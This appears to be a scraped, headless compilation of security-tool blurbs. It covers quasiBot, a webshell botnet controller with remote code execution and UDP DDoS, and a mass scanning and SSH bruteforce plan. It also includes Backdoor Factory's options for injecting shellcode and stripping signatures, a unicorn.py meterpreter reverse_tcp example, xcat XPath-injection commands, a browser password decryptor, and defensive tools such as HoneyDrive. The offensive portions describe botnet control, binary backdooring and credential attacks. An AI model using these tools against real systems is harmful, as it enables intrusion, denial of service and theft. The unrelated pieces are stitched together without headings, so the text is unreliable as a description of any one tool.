How it works?

• quasiBot is operating on web-shells delivered by user, each backdoor is being verified by md5 hash which changes every hour
  

  quasiBot (C&C) -[request/verification]-> Bots (Webshells) -[response/verification]-> quasiBot (C&C) -[request/command]-> Bots (Webshells) -[response/execution]-> quasiBot (C&C)                
  

• Backdoors consists of two types, with and without DDoS module, source code is included and displayed in home page;
• Connection between C&C and server is being supported by curl, TOR proxy is supported, User Agent is being randomized from an array
  

  quasiBot (C&C) -[PROXY/TOR]-> Bots (Webshells) <-[PROXY/TOR]- quasiBot (C&C)
  

• Webshells can be removed and added at 'Settings' tab, they are stored in database
• 'RSS' tab contain latest exploits and vulnerabilities feeds
• 'RCE' tab allows to perform Remote Code Execution on specific server using selected PHP function
• 'Scan' tab allows to resolve IP or URL and perform basic scan using nmap, dig and whois - useful in the phase of gathering information
• 'Pwn' tab stands for few functions, which generally will help collect informations about server and try to find exploits for currently used OS version using Linux Exploit Suggestor
• 'MySQL Manager', as the name says, can be used to perform basic operations on specific database - it could be helpful while looking for config files that include mysql connections on remote server; it also displays some informations about it's envoirment
• 'Run' tab allows you to run specific command on every bots at once
• 'DDoS' tab allows you to perform UDP DoS attacks using all bots or single one, expanded backdoor is required
• Whole front-end is maintaned in a pleasant, functional interface

• LWP
• Gtk2
• Glib
• uft8
• threads
• threads::shared
• URI::Escape

• Faster startup and responsiveness.
• Huge refactoring and cleanup of the current code.
• The Chromium library was upgraded to the latest release (incredibly fast!).
• Improved compatibility with 64-bit Windows editions.
• Improved source code editor.
• Available as free, open source/community edition (under a BSD-3-Clause license).
• Built using components and libraries from the Catarinka toolkit (also made open source at the same time with this release and under the same license).
• Includes the Selenite Lua library - a multi-purpose set of Lua extensions developed to make the development of Lua extensions easier in Sandcat. The code for Selenite is now open source, under the MIT license. The library documentation is available here.
• Fixed: output of the SHA1 and the full URL encoders that come with the pen-tester pack. 

System Requirements

Intro

• Data grabbing:
  • URL's (geturl/massurl) -> (scan)
  • Configs, Databases, SQLi's (dork)
  • Full Path Disclosures / Users (fpds) -> (brutefpds)
  • Top websites info (top)
• Massive scanning
  • XSS, SQLi, LFI, RFI (scan)
  • FTP, SSH, DB's, IMAP (multibruter)
  • Accurate SSH bruteforce (brutefpds)

Plan

• Web Apps
  • Grab url's via 'geturl' or 'massurl' (massurl requires list of tags as file)
  • Scan url's parameters for vulns with 'scan'
• Servers
  • Pick target, get ip range
  • Scan for services on each IP and bruteforce with 'multibruter'
  • Grab full path disclosures, and so linux usernames
  • Perform SSH bruteforce for specific user with 'brutefpds'
• Info grabbing
  • Use 'dork' for automatic dorking
  • Use 'fpds' for full path disclosure grabbing
  • Use 'search' for searching someone in ur databases
  • Use 'top' for scanning all top websites of specific nation
• Others
  • 'Stat' shows actual statistics and informations
  • 'Show' display specific file
  • 'Clear' and 'filter' - remove duplicates, remove blacklisted url's

Others

• php5-mysql - for mysql connections
• php5-pgsql - for postgresql connections
• libssh2-php - for ssh connections
• php5-sybase - for mssql connections
• php5-imap - for imap connections

• Security auditing
• Vulnerability scanning
• System hardening

Usage: backdoor.py [options]

Options:
  -h, --help            show this help message and exit
  -f FILE, --file=FILE  File to backdoor
  -s SHELL, --shell=SHELL
                        Payloads that are available for use.
  -H HOST, --hostip=HOST
                        IP of the C2 for reverse connections
  -P PORT, --port=PORT  The port to either connect back to for reverse shells
                        or to listen on for bind shells
  -J, --cave_jumping    Select this options if you want to use code cave
                        jumping to further hide your shellcode in the binary.
  -a, --add_new_section
                        Mandating that a new section be added to the exe
                        (better success) but less av avoidance
  -U SUPPLIED_SHELLCODE, --user_shellcode=SUPPLIED_SHELLCODE
                        User supplied shellcode, make sure that it matches the
                        architecture that you are targeting.
  -c, --cave            The cave flag will find code caves that can be used
                        for stashing shellcode. This will print to all the
                        code caves of a specific size.The -l flag can be use
                        with this setting.
  -l SHELL_LEN, --shell_length=SHELL_LEN
                        For use with -c to help find code caves of different
                        sizes
  -o OUTPUT, --output-file=OUTPUT
                        The backdoor output file
  -n NSECTION, --section=NSECTION
                        New section name must be less than seven characters
  -d DIR, --directory=DIR
                        This is the location of the files that you want to
                        backdoor. You can make a directory of file backdooring
                        faster by forcing the attaching of a codecave to the
                        exe by using the -a setting.
  -w, --change_access   This flag changes the section that houses the codecave
                        to RWE. Sometimes this is necessary. Enabled by
                        default. If disabled, the backdoor may fail.
  -i, --injector        This command turns the backdoor factory in a hunt and
                        shellcode inject type of mechinism. Edit the target
                        settings in the injector module.
  -u SUFFIX, --suffix=SUFFIX
                        For use with injector, places a suffix on the original
                        file for easy recovery
  -D, --delete_original
                        For use with injector module.  This command deletes
                        the original file.  Not for use in production systems.
                        *Author not responsible for stupid uses.*
  -O DISK_OFFSET, --disk_offset=DISK_OFFSET
                        Starting point on disk offset, in bytes. Some authors
                        want to obfuscate their on disk offset to avoid
                        reverse engineering, if you find one of those files
                        use this flag, after you find the offset.
  -S, --support_check   To determine if the file is supported by BDF prior to
                        backdooring the file. For use by itself or with
                        verbose. This check happens automatically if the
                        backdooring is attempted.
  -M, --cave-miner      Future use, to help determine smallest shellcode
                        possible in a PE file
  -q, --no_banner       Kills the banner.
  -v, --verbose         For debug information output.
  -T IMAGE_TYPE, --image-type=IMAGE_TYPE
                        ALL, x32, or x64 type binaries only. Default=ALL
  -Z, --zero_cert       Allows for the overwriting of the pointer to the PE
                        certificate table effectively removing the certificate
                        from the binary for all intents and purposes.
  -R, --runas_admin     Checks the PE binaries for 'requestedExecutionLevel
                        level="highestAvailable"'. If this string is included
                        in the binary, it must run as system/admin. Doing this
                        slows patching speed significantly.
  -L, --patch_dll       Use this setting if you DON'T want to patch DLLs. 
                        Patches by default.

Features:

PE Files

Can find all codecaves in an EXE/DLL.
By default, clears the pointer to the PE certificate table, thereby unsigning a binary.
Can inject shellcode into code caves or into a new section.
Can find if a PE binary needs to run with elevated privileges.
When selecting code caves, you can use the following commands:
  -Jump (j), for code cave jumping
  -Single (s), for patching all your shellcode into one cave
  -Append (a), for creating a code cave
  -Ignore (i), nevermind, ignore this binary
Can ignore DLLs.

ELF Files

Extends 1000 bytes (in bytes) to the TEXT SEGMENT and injects shellcode into that section of code.

Overall

The user can :
  -Provide custom shellcode.
  -Patch a directory of executables/dlls.
  -Select x32 or x64 binaries to patch only.
  -Include BDF is other python projects see pebin.py and elfbin.py

• Firefox
• Internet Explorer [v7.x - v10.x]
• Google Chrome
• Google Chrome Canary/SXS
• CoolNovo Browser
• Opera Next
• Comodo Dragon Browser
• SeaMonkey Browser
• SRWare Iron Browser
• Flock Browser

• Instantly decrypt and show all the Facebook passwords on your system
• Remove either selected ones or all the stored Facebook passwords with just a click
• Support recovery and removal from latest versions of Applications
• Create backup password report in HTML/XML/TEXT format
• Auto detects the current password store location
• Remove password from any user account on local or another system
• Remove even encrypted Facebook passwords
• Free and Easy to Use GUI based Tool
• Fully portable, can be run anywhere without JAVA, .NET components
• Includes Installer for local Installation & Uninstallation

Features

• DomainHostingView is a Unicode application and this it can display properly WHOIS records containing non-English characters.
• DomainHostingView supports Internationalized domain names (IDN). When you type a domain with non-English characters, DomainHostingView automatically converts it into a format that can be used in the WHOIS and DNS servers.
• DomainHostingView parses the text returned by the WHOIS servers, extracts the important data, and displays it in easy-to-read summary.
• DomainHostingView also displays the raw text returned by the WHOIS servers, with a small enhancement - every http link is displayed as clickable link that opens the Web page in a new window. 

FEATURES:

• Virtual appliance based on Xubuntu 12.04.4 LTS Desktop.
• Distributed as a single OVA file, ready to be imported.
• Full LAMP stack installed (Apache 2, MySQL 5), plus tools such as phpMyAdmin.
• Kippo SSH honeypot, plus Kippo-Graph, Kippo-Malware, Kippo2MySQL and other helpful scripts.
• Dionaea malware honeypot, plus DionaeaFR and other helpful scripts.
• Amun malware honeypot, plus helpful scripts.
• Glastopf web honeypot, along with Wordpot WordPress honeypot.
• Conpot SCADA/ICS honeypot.
• Honeyd low-interaction honeypot, plus Honeyd2MySQL, Honeyd-Viz and other helpful scripts.
• LaBrea sticky honeypot, Tiny Honeypot, IIS Emulator and INetSim.
• Thug and PhoneyC honeyclients for client-side attacks analysis, along with Maltrieve malware collector.
• ELK stack: ElasticSearch, Logstash, Kibana for log analysis and visualization.
• A full suite of security, forensics and anti-malware tools for network monitoring, malicious shellcode and PDF analysis, such as ntop, p0f, EtherApe, nmap, DFF, Wireshark, Recon-ng, ClamAV, ettercap, MASTIFF, Automater, UPX, pdftk, Flasm, Yara, Viper, pdf-parser, Pyew, Radare2, dex2jar and more.
• Firefox add-ons pre-installed, plus extra helpful software such as GParted, Terminator, Adminer, VYM, Xpdf and more.

HoneyDrive 3 RELEASE NOTES:

FREQUENTLY ASKED QUESTIONS:

1. Why use HoneyDrive?
   HoneyDrive saves you time! It has all the major honeypot-related software pre-installed and pre-configured to work out of the box (or with some configuration options of your liking). As I have seen many times in comments or support requests I get, setting up a honeypot system is not always something easy. This is especially true for new infosec enthusiasts or sysadmins and “hard” to set up software like Dionaea for example.
2. What utilities and software are included in HoneyDrive?
   HoneyDrive contains all the major honeypot-related software and a ton more useful tools. For a complete list you’ll have to take a look at the README.txt file included in the virtual appliance (you’ll find it on the desktop) or online at the downloads section of SourceForge (link above).
3. Why isn’t [insert-name-here] included in HoneyDrive?
   Unfortunately I can’t keep track of every different piece of software. But, I’m very open to suggestions about HoneyDrive! If you know a tool that could be of benefit please let me know by leaving a comment on this page and it will be included in the next release of HoneyDrive.
4. What is the password for [insert-name-here]?
   Again, your best bet is reading the README.txt file included in the virtual appliance or found online at the downloads section of SourceForge (link above). Every password you will need is included in its appropriate section.
   
   

root@bt:~/Desktop# python unicorn.py
                                                     ,/
                                                    //
                                                  ,//
                                      ___   /|   |//
                                  `__/\_ --(/|___/-/
                               \|\_-\___ __-_`- /-/ \.
                              |\_-___,-\_____--/_)' ) \
                               \ -_ /     __ \( `( __`\|
                               `\__|      |\)\ ) /(/|
       ,._____.,            ',--//-|      \  |  '   /
      /     __. \,          / /,---|       \       /
     / /    _. \  \        `/`_/ _,'        |     |
    |  | ( (  \   |      ,/\'__/'/          |     |
    |  \  \`--, `_/_------______/           \(   )/
    | | \  \_. \,                            \___/\
    | |  \_   \  \                                 \
    \ \    \_ \   \   /                             \
     \ \  \._  \__ \_|       |                       \
      \ \___  \      \       |                        \
       \__ \__ \  \_ |       \                         |
       |  \_____ \  ____      |                        |
       | \  \__ ---' .__\     |        |               |
       \  \__ ---   /   )     |        \              /
        \   \____/ / ()(      \          `---_       /|
         \__________/(,--__    \_________.    |    ./ |
           |     \ \  `---_\--,           \   \_,./   |
           |      \  \_ ` \    /`---_______-\   \\    /
            \      \.___,`|   /              \   \\   \
             \     |  \_ \|   \              (   |:    |
              \    \      \    |             /  / |    ;
               \    \      \    \          ( `_'   \  |
                \.   \      \.   \          `__/   |  | 
                  \   \       \.  \                |  |
                   \   \        \  \               (  )
                    \   |        \  |              |  |
                     |  \         \ \              I  `
                     ( __;        ( _;            ('-_';
                     |___\        \___:            \___:

python unicorn.py payload reverse_ipaddr port Example: python unicorn.py windows/meterpreter/reverse_tcp 192.168.1.5 443

• Exploits both GET and POST attacks
• Extracts all nodes, comments, attributes and data from the entire XML document
• Small and lightweight (only a few pure-python dependencies)
• Parallel requests
• XPath 2.0 supported (with graceful degrading to 1.0)
• Advanced data postback through HTTP (see below)
• Arbitrarily read XML files on the servers file system via the doc() function (see below)
• Arbitrarily read text files on the servers file system via crafted SYSTEM entities

xcat --method=GET http://localhost:8080 title=Foundation title "1 results found" run retrieve

>> xcat --method=GET http://localhost:8080 title=Foundation title "1 results found" run retrieve
Injecting using FunctionCall
Detecting features...
Supported features: String to codepoints, XPath 2, Read local XML files, Substring search speedup
Retrieving /*[1]
<?xml version="1.0" encoding="utf-8"?>
<library>
<rentals>
<books>
<!-- A comment -->
<book>
...

>> xcat --method=GET --public-ip="localhost" http://localhost:8080 title=Foundation title "1 results found" test_injection
Testing parameter title:
FunctionCallInjection:          /lib/something[function(?)]
    - EfficientSubstringSearch
    - OOBDocFeature
    - CodepointSearch
    - XPath2
    - DocFeature
    - EntityInjection

• Free and Open-Source software
• Unicode support
• Unobtrusive: easy to use, doesn’t install any weird DLL files, doesn’t write to the Windows registry, doesn’t even write to your hard disk if you don’t want it, can be uninstalled easily
• Uses up-to-date cryptography (AES, SHA-2) to generate random data for high-quality passwords
• Numerous password options for various purposes
• Generation of large amounts of passwords at once
• Generation of passphrases composed of words from a word list
• Pattern-based password generation (formatted passwords) provides nearly endless possibilities to customize passwords to the user’s needs
• “Password hasher” functionality: Generate passwords based on a master password and a parameter string (e.g., the name of a website), similar to “Hashapass”
• Secure text encryption
• Multilingual support
• In-depth manual (49 pages)
• Runs on all Windows versions (32-bit and 64-bit; beginning with Windows 95 OEM Service Release 2)